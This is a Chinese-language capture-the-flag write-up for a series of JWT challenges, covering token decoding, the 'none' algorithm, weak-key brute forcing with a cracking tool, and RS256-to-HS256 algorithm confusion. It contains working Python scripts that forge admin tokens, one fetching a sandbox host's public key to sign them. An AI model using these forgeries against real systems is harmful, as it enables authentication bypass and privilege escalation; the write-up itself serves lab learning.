基础知识
打开题目附件学习jwt基础知识后,将附件中的flag提交就可以了。
敏感信息泄露
进入登陆界面,随便登陆进去,进去后抓包把cookie里面的jwt编码拿去解码,里面有flag,把那两半拼起来即可。
无签名
登进去后把cookie的jwt解码,里面的role的值改为admin,python写程序无签名加密
import jwt
payload = {
"username": "admin",
"password": "password",
"role": "admin"
}
header = {
"typ": "JWT",
"alg": "none"
}
jwt_token = jwt.encode(payload, None, headers=header)
print(jwt_token)
将新的jwt发包即可。
弱密钥
https://gitcode.com/brendan-rius/c-jwt-cracker/工具爆破密钥,然后role等于admin
每个人的密钥不一样。
修改签名算法
题目提示:有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
RS256改HS256
用了大佬的脚本,并且加了几句,直接把公钥爬下来。这里公钥必须下载不能直接复制粘贴,因为我试过很多次。
# coding=GBK
import hmac
import hashlib
import base64
import requests
url="http://challenge-0b5624c584528cee.sandbox.ctfhub.com:10800/publickey.pem"
r=requests.get(url)
with open("publickey.pem","wb") as f:
f.write(r.content)
file = open('publickey.pem') # 需要将文中的publickey下载 与脚本同目录
key = file.read()
# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'
# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")
# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)
# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode(
"UTF-8").rstrip("=")
print(token + "." + sig)
ok
参考文章:
1.https://blog.csdn.net/devil8123665/article/details/113030554